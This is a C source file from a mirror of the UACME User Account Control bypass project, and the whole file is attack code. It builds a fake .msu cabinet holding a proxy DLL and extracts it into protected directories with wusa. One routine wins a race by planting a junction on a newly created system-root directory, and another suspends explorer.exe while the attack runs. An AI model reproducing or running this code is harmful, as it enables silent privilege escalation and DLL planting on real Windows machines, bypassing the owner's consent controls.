mirror of https://github.com/hfiref0x/UACME.git
456 lines
12 KiB
C
456 lines
12 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2017
|
|
*
|
|
* TITLE: WUSA.C
|
|
*
|
|
* VERSION: 2.75
|
|
*
|
|
* DATE: 30 June 2017
|
|
*
|
|
* Windows Update Standalone Installer (WUSA) based routines.
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
#include "global.h"
|
|
#include "makecab.h"
|
|
|
|
/*
|
|
* ucmWusaExtractPackage
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Extract cab to protected directory using wusa.
|
|
* This routine expect source as ellocnak.msu cab file in the %temp% folder.
|
|
*
|
|
*/
|
|
BOOL ucmWusaExtractPackage(
|
|
_In_ LPWSTR lpTargetDirectory
|
|
)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
SIZE_T Size;
|
|
LPWSTR lpCommandLine = NULL;
|
|
WCHAR szMsuFileName[MAX_PATH * 2];
|
|
|
|
if (lpTargetDirectory == NULL)
|
|
return FALSE;
|
|
|
|
RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
|
|
_strcpy(szMsuFileName, g_ctx.szTempDirectory);
|
|
_strcat(szMsuFileName, ELLOCNAK_MSU);
|
|
|
|
Size = ((1 + _strlen(lpTargetDirectory) +
|
|
_strlen(szMsuFileName) +
|
|
MAX_PATH) * sizeof(WCHAR));
|
|
|
|
lpCommandLine = (LPWSTR)supHeapAlloc(Size);
|
|
if (lpCommandLine) {
|
|
|
|
_strcpy(lpCommandLine, L"/c wusa ");
|
|
_strcat(lpCommandLine, szMsuFileName);
|
|
_strcat(lpCommandLine, L" /extract:");
|
|
_strcat(lpCommandLine, lpTargetDirectory);
|
|
|
|
bResult = supRunProcess(CMD_EXE, lpCommandLine);
|
|
|
|
supHeapFree(lpCommandLine);
|
|
}
|
|
DeleteFile(szMsuFileName);
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmCreateCabinetForSingleFile
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Build cabinet for usage in methods where required 1 file.
|
|
*
|
|
*/
|
|
BOOL ucmCreateCabinetForSingleFile(
|
|
_In_ LPWSTR lpSourceDll,
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize,
|
|
_In_opt_ LPWSTR lpInternalName
|
|
)
|
|
{
|
|
BOOL cond = FALSE, bResult = FALSE;
|
|
CABDATA *Cabinet = NULL;
|
|
LPWSTR lpFileName;
|
|
WCHAR szMsuFileName[MAX_PATH * 2];
|
|
|
|
if ((ProxyDll == NULL) ||
|
|
(ProxyDllSize == 0) ||
|
|
(lpSourceDll == NULL)) return bResult;
|
|
|
|
do {
|
|
|
|
//drop proxy dll
|
|
if (!supWriteBufferToFile(lpSourceDll, ProxyDll, ProxyDllSize)) {
|
|
break;
|
|
}
|
|
|
|
//build cabinet
|
|
RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
|
|
_strcpy(szMsuFileName, g_ctx.szTempDirectory);
|
|
_strcat(szMsuFileName, ELLOCNAK_MSU);
|
|
|
|
Cabinet = cabCreate(szMsuFileName);
|
|
if (Cabinet == NULL)
|
|
break;
|
|
|
|
if (lpInternalName == NULL) {
|
|
lpFileName = _filename(lpSourceDll);
|
|
}
|
|
else {
|
|
lpFileName = lpInternalName;
|
|
}
|
|
|
|
//put file without compression
|
|
bResult = cabAddFile(Cabinet, lpSourceDll, lpFileName);
|
|
cabClose(Cabinet);
|
|
|
|
} while (cond);
|
|
|
|
DeleteFile(lpSourceDll);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmWusaCabinetCleanup
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Remove fake msu file.
|
|
*
|
|
*/
|
|
VOID ucmWusaCabinetCleanup(
|
|
VOID)
|
|
{
|
|
WCHAR szMsuFileName[MAX_PATH * 2];
|
|
|
|
RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
|
|
_strcpy(szMsuFileName, g_ctx.szTempDirectory);
|
|
_strcat(szMsuFileName, ELLOCNAK_MSU);
|
|
DeleteFile(szMsuFileName);
|
|
}
|
|
|
|
volatile ULONG g_ThreadFinished = 0;
|
|
|
|
/*
|
|
* ucmxInvokeWusaThread
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Start wusa and wait a bit.
|
|
*
|
|
*/
|
|
DWORD ucmxInvokeWusaThread(
|
|
PVOID Param)
|
|
{
|
|
SHELLEXECUTEINFO shinfo;
|
|
WCHAR szProcess[MAX_PATH * 2];
|
|
WCHAR szParameters[MAX_PATH * 3];
|
|
|
|
UNREFERENCED_PARAMETER(Param);
|
|
|
|
InterlockedExchange((LONG*)&g_ThreadFinished, 0);
|
|
|
|
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
|
|
|
|
_strcpy(szProcess, g_ctx.szSystemDirectory);
|
|
_strcat(szProcess, WUSA_EXE);
|
|
|
|
RtlSecureZeroMemory(szParameters, sizeof(szParameters));
|
|
_strcpy(szParameters, TEXT(" /quiet "));
|
|
_strcat(szParameters, g_ctx.szTempDirectory);
|
|
_strcat(szParameters, ELLOCNAK_MSU);
|
|
|
|
shinfo.cbSize = sizeof(shinfo);
|
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;
|
|
shinfo.lpFile = szProcess;
|
|
shinfo.lpParameters = szParameters;
|
|
shinfo.nShow = SW_HIDE;
|
|
|
|
if (ShellExecuteEx(&shinfo)) {
|
|
|
|
if (WaitForSingleObject(shinfo.hProcess, 1000) == WAIT_TIMEOUT)
|
|
TerminateProcess(shinfo.hProcess, 0);
|
|
|
|
CloseHandle(shinfo.hProcess);
|
|
}
|
|
Sleep(1000);
|
|
InterlockedExchange((LONG*)&g_ThreadFinished, 1);
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* ucmxDirectoryWatchdogThread
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Monitor directory creation in system root directory.
|
|
* When it happened - set reparse point.
|
|
*
|
|
*/
|
|
DWORD ucmxDirectoryWatchdogThread(
|
|
PVOID Param)
|
|
{
|
|
BOOL bCond = FALSE, bResult = FALSE;
|
|
NTSTATUS status;
|
|
|
|
HANDLE hDirectory = NULL, hReparseDirectory = NULL, hEvent = NULL;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
OBJECT_ATTRIBUTES ObjectAttributes;
|
|
|
|
LPWSTR lpTargetDirectory = (LPWSTR)Param;
|
|
|
|
PVOID Buffer = NULL;
|
|
SIZE_T memIO = 0;
|
|
FILE_NOTIFY_INFORMATION *pInfo = NULL;
|
|
|
|
LPWSTR CapturedDirectoryName = NULL, lpEnd = NULL;
|
|
|
|
WCHAR szBuffer[MAX_PATH + 1];
|
|
|
|
UNICODE_STRING usTargetDirectory, usWatchDirectory, usReparseDirectory;
|
|
|
|
|
|
do {
|
|
|
|
//
|
|
// Convert target directory path to native form.
|
|
//
|
|
usTargetDirectory.Buffer = NULL;
|
|
if (!RtlDosPathNameToNtPathName_U(lpTargetDirectory, &usTargetDirectory, NULL, NULL))
|
|
break;
|
|
|
|
//
|
|
// Convert watch directory path to native form.
|
|
//
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
szBuffer[0] = L'\\';
|
|
szBuffer[1] = L'?';
|
|
szBuffer[2] = L'?';
|
|
szBuffer[3] = L'\\';
|
|
_strncpy(&szBuffer[4], MAX_PATH, g_ctx.szSystemDirectory, 3);
|
|
|
|
//
|
|
// Open directory for change notification.
|
|
//
|
|
usWatchDirectory.Buffer = NULL;
|
|
RtlInitUnicodeString(&usWatchDirectory, szBuffer);
|
|
InitializeObjectAttributes(&ObjectAttributes, &usWatchDirectory, OBJ_CASE_INSENSITIVE, 0, NULL);
|
|
|
|
status = NtCreateFile(&hDirectory,
|
|
FILE_LIST_DIRECTORY | SYNCHRONIZE,
|
|
&ObjectAttributes,
|
|
&IoStatusBlock,
|
|
NULL,
|
|
FILE_OPEN_FOR_BACKUP_INTENT,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
|
FILE_OPEN,
|
|
FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
|
|
NULL,
|
|
0);
|
|
|
|
if (!NT_SUCCESS(status))
|
|
break;
|
|
|
|
memIO = 1024 * 1024;
|
|
Buffer = supHeapAlloc(memIO);
|
|
if (Buffer == NULL)
|
|
break;
|
|
|
|
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, 0, NULL);
|
|
status = NtCreateEvent(&hEvent, EVENT_ALL_ACCESS, &ObjectAttributes, NotificationEvent, FALSE);
|
|
if (!NT_SUCCESS(status))
|
|
break;
|
|
|
|
//
|
|
// Watch for directory changes.
|
|
//
|
|
do {
|
|
|
|
status = NtNotifyChangeDirectoryFile(hDirectory, hEvent, NULL, NULL,
|
|
&IoStatusBlock, Buffer, (ULONG)memIO, FILE_NOTIFY_CHANGE_DIR_NAME, TRUE);
|
|
|
|
if (status == STATUS_PENDING)
|
|
NtWaitForSingleObject(hEvent, TRUE, NULL);
|
|
|
|
NtSetEvent(hEvent, NULL);
|
|
|
|
pInfo = (FILE_NOTIFY_INFORMATION*)Buffer;
|
|
for (;;) {
|
|
|
|
if (pInfo->Action == FILE_ACTION_ADDED) {
|
|
|
|
memIO = pInfo->FileNameLength +
|
|
((1 + _strlen(szBuffer)) * sizeof(WCHAR));
|
|
|
|
CapturedDirectoryName = supHeapAlloc(memIO);
|
|
|
|
if (CapturedDirectoryName) {
|
|
_strcpy(CapturedDirectoryName, szBuffer);
|
|
lpEnd = _strend(CapturedDirectoryName);
|
|
RtlCopyMemory(lpEnd, pInfo->FileName, pInfo->FileNameLength);
|
|
|
|
//
|
|
// Open new directory to set reparse point.
|
|
//
|
|
usReparseDirectory.Buffer = NULL;
|
|
RtlInitUnicodeString(&usReparseDirectory, CapturedDirectoryName);
|
|
InitializeObjectAttributes(&ObjectAttributes, &usReparseDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
status = NtCreateFile(&hReparseDirectory,
|
|
FILE_ALL_ACCESS,
|
|
&ObjectAttributes,
|
|
&IoStatusBlock,
|
|
NULL,
|
|
0,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
|
FILE_OPEN,
|
|
FILE_OPEN_REPARSE_POINT | FILE_SYNCHRONOUS_IO_NONALERT,
|
|
NULL,
|
|
0);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
//
|
|
// Set reparse point.
|
|
//
|
|
bResult = supSetMountPoint(hReparseDirectory,
|
|
usTargetDirectory.Buffer,
|
|
lpTargetDirectory);
|
|
|
|
}
|
|
|
|
status = STATUS_NO_SECRETS;
|
|
}
|
|
|
|
} //Action
|
|
|
|
if (status == STATUS_NO_SECRETS)
|
|
break;
|
|
|
|
pInfo = (FILE_NOTIFY_INFORMATION*)(((LPBYTE)pInfo) + pInfo->NextEntryOffset);
|
|
if (pInfo->NextEntryOffset == 0)
|
|
break;
|
|
}
|
|
|
|
} while (NT_SUCCESS(status));
|
|
|
|
} while (bCond);
|
|
|
|
//
|
|
// Cleanup.
|
|
//
|
|
if (hEvent)
|
|
NtClose(hEvent);
|
|
|
|
if (hDirectory != NULL)
|
|
NtClose(hDirectory);
|
|
|
|
if (usTargetDirectory.Buffer)
|
|
RtlFreeUnicodeString(&usTargetDirectory);
|
|
|
|
if (Buffer != NULL)
|
|
supHeapFree(Buffer);
|
|
|
|
//
|
|
// Remove reparse point.
|
|
//
|
|
if (CapturedDirectoryName) {
|
|
|
|
while (g_ThreadFinished != 1)
|
|
Sleep(100);
|
|
|
|
if (hReparseDirectory) {
|
|
supDeleteMountPoint(hReparseDirectory);
|
|
NtClose(hReparseDirectory);
|
|
}
|
|
|
|
RtlInitUnicodeString(&usReparseDirectory, CapturedDirectoryName);
|
|
InitializeObjectAttributes(&ObjectAttributes, &usReparseDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
NtDeleteFile(&ObjectAttributes);
|
|
supHeapFree(CapturedDirectoryName);
|
|
}
|
|
|
|
return (DWORD)bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmWusaExtractViaJunction
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Extract cab contents to the specified directory by initializing wusa race condition.
|
|
* This routine expect source as ellocnak.msu cab file in the %temp% folder.
|
|
*
|
|
*/
|
|
BOOL ucmWusaExtractViaJunction(
|
|
_In_ LPWSTR lpTargetDirectory
|
|
)
|
|
{
|
|
BOOL bCond = FALSE;
|
|
|
|
#ifndef _DEBUG
|
|
HANDLE hExplorer = NULL;
|
|
#endif
|
|
|
|
HANDLE hWatchdogThread, hWusaThread;
|
|
DWORD ti;
|
|
|
|
//
|
|
// Query explorer.exe handle and use it to suspend process.
|
|
// Thus blocking unwanted user changes during work.
|
|
//
|
|
#ifndef _DEBUG
|
|
hExplorer = supGetExplorerHandle();
|
|
if (hExplorer != NULL) {
|
|
NtSuspendProcess(hExplorer);
|
|
}
|
|
#endif
|
|
|
|
do {
|
|
|
|
//
|
|
// Run watchdog thread.
|
|
//
|
|
hWatchdogThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ucmxDirectoryWatchdogThread, lpTargetDirectory, 0, &ti);
|
|
if (hWatchdogThread == NULL)
|
|
break;
|
|
|
|
//
|
|
// Run wusa in separate thread.
|
|
//
|
|
hWusaThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ucmxInvokeWusaThread, NULL, 0, &ti);
|
|
if (hWusaThread) {
|
|
if (WaitForSingleObject(hWusaThread, 15000) == WAIT_TIMEOUT)
|
|
TerminateThread(hWusaThread, 0);
|
|
|
|
CloseHandle(hWusaThread);
|
|
}
|
|
|
|
if (WaitForSingleObject(hWatchdogThread, 10000) == WAIT_TIMEOUT)
|
|
TerminateThread(hWatchdogThread, 0);
|
|
|
|
CloseHandle(hWatchdogThread);
|
|
|
|
} while (bCond);
|
|
|
|
#ifndef _DEBUG
|
|
if (hExplorer != NULL) {
|
|
NtResumeProcess(hExplorer);
|
|
NtClose(hExplorer);
|
|
}
|
|
#endif
|
|
|
|
return (g_ThreadFinished == 1);
|
|
}
|